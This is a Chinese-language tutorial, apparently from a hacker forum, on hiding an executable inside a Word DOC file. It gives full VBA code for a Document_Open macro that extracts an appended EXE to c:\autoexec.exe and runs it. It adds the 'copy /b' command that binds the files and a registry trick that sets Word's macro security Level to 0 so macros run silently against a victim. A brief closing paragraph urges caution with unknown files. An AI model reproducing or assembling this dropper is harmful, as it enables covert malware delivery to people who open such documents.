Exe變doc的方法 其實這種轉換並不是文件格式上的變化,只不過是把一個EXE文件接在一個DOC文件的末尾而已,這個DOC文件當然就不是不同 WORD的我的文件啦,該我的文件中包含了巨集語句,能在執行的時候把接在自己文件末尾的EXE文件資料讀取出來並執行,就造 成一種假象,好像我的文件開啟時就執行了EXE文件似的.(和文件捆綁器的原理很像啊!) 熟悉VB的朋友都知道,WORD的巨集是使用VBA來編寫的,具體語法和VB一樣,但有些方法VB中沒有,如巨集病毒就是利用巨集複 製語句來達到感染的目的.和VB一樣,我們可以在編寫巨集的時候調用WINDOWS API!!下面我們來介紹一下我們編寫這個巨集需 要用到的API函數: 1)CreateFile 用於開啟文件,該函數VB的聲明如下: Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, ByVal lpSecurityAttributes As Long, ByVal dwCreationDistribution As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplate As Long) As Long 2)CloseHandle 用於關閉被開啟文件的句柄,該函數VB的聲明如下: Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long 3)ReadFile 用於從被開啟文件中讀取資料,該函數VB的聲明如下: Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Byte, ByVal dwNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, ByVal lpOverlapped As Long) As Long 4)WriteFile 用於把讀取出的資料寫入文件,該函數VB的聲明如下: Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Byte, ByVal dwNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, ByVal lpOverlapped As Long) As Long 5)SetFilePoniter移動文件指針,該函數VB的聲明如下: Declare Function SetFilePointer Lib "kernel32" (ByVal hFile As Long, ByVal lDistanceToMove As Long, ByVal lpDistanceToMoveHigh As Long, ByVal dwMoveMethod As Long) As Long 6)下面是以上函數的參數聲明 Public Const GENERIC_READ As Long = &H80000000 Public Const GENERIC_WRITE As Long = &H40000000 Public Const FILE_SHARE_READ As Long = 1 Public Const FILE_SHARE_WRITE As Long = 2 Public Const CREATE_NEW As Long = 1 Public Const CREATE_ALWAYS As Long = 2 Public Const OPEN_EXISTING As Long = 3 Public Const OPEN_ALWAYS As Long = 4 Public Const TRUNCATE_EXISTING As Long = 5 Public Const INVALID_HANDLE_value As Long = -1 Public Const FILE_ATTRIBUTE_NORMAL As Long = &H80 好了,有了這些準備工作就可以開始了,我們執行WORD2000,開啟VISUAL BASIC編輯器,新增一個模塊,把上面的函數和參數聲明 拷進去!再回到「ThisDocument」的代碼視圖,選擇Document Open的事件,輸入一下代碼: Private Sub Document_Open() Dim buffer(65536) As Byte Dim h, h2, j, i, k As Long h = CreateFile(ThisDocument.Path & "/" & ThisDocument.Name, GENERIC_READ, FILE_SHARE_READ + FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0) 『以SHARE_READ的方式開啟自身的DOC文件 h2 = CreateFile("c:\autoexec.exe", GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0) 『新增一個EXE文件準備存放讀取出來的資料. If h = INVALID_HANDLE_value Then Exit Sub End If k = SetFilePointer(h, 32768, nil, 0) 『把文件指針移動到DOC文件與EXE文件交界處. Do i = ReadFile(h, buffer(0), 65536, j, 0) i = WriteFile(h2, buffer(0), j, j, 0) Loop Until j < 65536 CloseHandle (h) CloseHandle (h2) Shell "c:\autoexec.exe" 『執行EXE文件 End Sub 這樣巨集就編寫好了,注意的地方就是上面SetFilePointer函數的使用部分:32768是你編寫完巨集儲存好的DOC文件的文件大小,不 一頂就是32768哦,大家注意! 大家可能有疑問,如何把EXE文件接到DOC文件後面呢?很簡單,把你要接的EXE放到和這個DOC文件同一個目錄下.執行DOC命令: copy /b xxxx.doc + xxxxx.exe newdoc.doc 這樣就可以了~~~.當你開啟這個NEWDOC.DOC的時候,巨集就會把後面的EXE文件讀出來並儲存在C:\AUTOEXEC.EXE中,然後執 行,是不是很恐怖啊!不過這需要你的WORD2000安全度為最低的時候才能實現,關於這個安全度的問題,我們又發現了微軟的小 BUG,大家看看註冊表中這個鍵: HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security 中的Level值.當安全度是3(高)的時候,WORD不會執行任何的巨 集,2(中)的時候WORD會詢問你是否執行巨集,1(低)的時候WORD就會自動執行所有的巨集!但很容易就被發現安全度被設為低了, 聰明的你一定想到如果這個值變為0的時候會怎麼樣!!??對了!如果設為0的話,WORD裡面就會顯示安全度為高,但卻能自動執行任 何的巨集!!是不是很誇張??和註冊表編輯器的後門一樣這都是MS的後門吧? 如果要受害人的機器接受你的DOC文件又能順利執行,最重要就是把WORD的安全度在註冊表中的值改為0,怎麼改??方法太多了 吧,單是IE的惡意代碼能實現的都太多了,另外,如果網頁上連接上是DOC的話,IE也會自動下載該DOC文件!危險的MS啊!! 這個算不算漏洞我不敢說,但防範真的很難,除非一天到晚監視著註冊表,或者不用WORD?太消極了吧,最重要的是小心防範,陌生 人的東西千萬不要收!包括非EXE文件,我們現在發現了DOC文件能隱藏EXE文件,也會有人發現其他文件能隱藏EXE,所以大家 千萬要小心. |